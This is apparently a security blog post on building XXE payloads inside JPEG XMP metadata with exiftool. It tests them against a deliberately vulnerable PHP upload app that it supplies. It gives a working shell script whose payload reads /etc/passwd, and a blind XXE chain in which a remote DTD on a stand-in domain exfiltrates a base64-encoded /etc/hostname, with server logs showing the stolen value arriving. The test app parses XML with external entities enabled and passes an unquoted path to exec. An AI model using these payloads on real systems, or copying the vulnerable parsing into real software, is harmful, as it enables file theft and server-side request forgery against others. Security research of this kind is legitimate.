Creating xxe payloads in xmp metadata

Recently I’ve read an interesting post that referenced this disclosed hackerone report about xxe in image upload functionality. This isn’t the most obvious place to look for xxes, so:

How did it work?

An xxe payload was injected in jpeg’s xmp metadata which is basically a piece of xml embedded in an image. Unfortunately, the report does not provide a step-by-step guide for payload creation, as the bug hunter used burp suite extension for this

I found this bug using the “Upload Scanner” extension, you can find it within the “Extender” option. See the screenshot for the configuration I used.

Since I liked this idea, I decided to find a simple way to create such payloads with free tools and write a vulnerable app for testing purpose.

The app

Consider the following php app:

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
// we assume that external entities are enabled.
libxml_disable_entity_loader(false);
?>

Read xmp author:

<form enctype="multipart/form-data" action="/" method="POST">
    Your file: <input name="userfile" type="file" />
    <input type="submit" value="Send" />
</form>


<?php

function readXmp($filename)
{
    $tmpPath = $_FILES[$filename]['tmp_name'];
    $results = [];
    exec("exiftool -xmp -b $tmpPath", $results);
    return trim(implode('', $results));
}

function readMakerNote($xml)
{
    $dom = new DOMDocument();
    $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    foreach ($dom->getElementsByTagNameNS("*", "MakerNote") as $noteNode) {
        return $noteNode->nodeValue;
    }
}

if (isset($_FILES['userfile'])) {
    $xmp = readXmp('userfile');
    $note = readMakerNote($xmp);
    echo "MakerNote is: $note";
}

?>

It takes an uploaded image, extracts xmp data, parses it to get the value of first MakerNote tag ignoring namespaces and then displays it to the user.

If external entities are enabled, we can define one and simply put it in MakerNote tag as it will be reflected in response. So we have a target for testing purposes.

Let’s create some payloads.

The mighty exiftool

First, let’s define MakerNote in some jpg image:

$ exiftool -xmp:MakerNote=somenote some_image.jpg
    1 image files updated

and check how our xmp looks like:

$ exiftool -xmp -b some_image.jpg

<?xpacket begin='\xef\xbb\xbf' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.80'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:exif='http://ns.adobe.com/exif/1.0/'>
  <exif:MakerNote>somenote</exif:MakerNote>
 </rdf:Description>
</rdf:RDF>
</x:xmpmeta>
# lot's of 0x20's and 0x0a's here
<?xpacket end='w'?>

Cool, but this whole xml was generated by exiftool and we need more control :). How do we define it ourself? The following syntax does the job:

$ exiftool -xmp="YOUR_XMP" some_image.jpg

The payload

Now, let’s spice up what exiftool gave us with basic xxe payload:

create_payload.sh
#/bin/bash

xmp_data="
<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<!DOCTYPE x [
  <!ENTITY sp SYSTEM \"file:///etc/passwd\">
]>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.80'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:exif='http://ns.adobe.com/exif/1.0/'>
  <exif:MakerNote>&sp;</exif:MakerNote>
 </rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end='r'?>
"
xmp_data=$(echo $xmp_data | sed 's/\n//g') # getting rid of nl characters

exiftool -xmp="$xmp_data" $@
$ ./create_payload.sh some_image.jpg
    1 image files updated

And it seems to work!


xxe

Blind xxe

But what if an app is not reflecting processed metadata? For example, MakerNote may be just stored somewhere and never displayed to a user:

//...
function store($makerNote)
{
    //...
}
//...

if (isset($_FILES['userfile'])) {
    $xmp = readXmp('userfile');
    $note = readMakerNote($xmp);
    store($note);
}

Then we can ssrf out of this situation using following dtd’s

One in our xmp:

<!DOCTYPE x [
  <!ELEMENT x ANY>
  <!ENTITY % remote SYSTEM \"http://your-domain.com/my.dtd\">
  <!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///etc/hostname\">
  %remote;
]>

and one on our domain:

my.dtd
<!ENTITY % uri "http://your-domain.com/%file;"> 
<!ENTITY % eval '<!ENTITY exfiltrate SYSTEM "%uri;">'> 
%eval;

Wait what?

For some reason, in php you need to declare %eval in an external dtd. Otherwise, you get:

DOMDocument::loadXML(): PEReferences forbidden in internal subset in Entity

(More about ssrf in xxe and this problem here and here.)


Also note that base64 encoding is mandatory to form a valid url when the file you are including contains new lines. Here we get it for free with php:// pseudoprotocol, but for other languages we need to find some other tricks.

Outcome

If everything goes well, you should see something like this in your webserver’s logs:

remote-domain.com - - [28/Apr/2020:22:10:54 +0200] "GET /my.dtd HTTP/1.0" 200 330 "-" "-"
remote-domain.com - - [28/Apr/2020:22:10:54 +0200] "GET /bXkgaG9zdG5hbWUgaXMgbm9uZSBvZiB5b3VyIGJ1c2luZXNzISA6KQo= HTTP/1.0" 404 455 "-" "-"

Happy xxeing file uploads!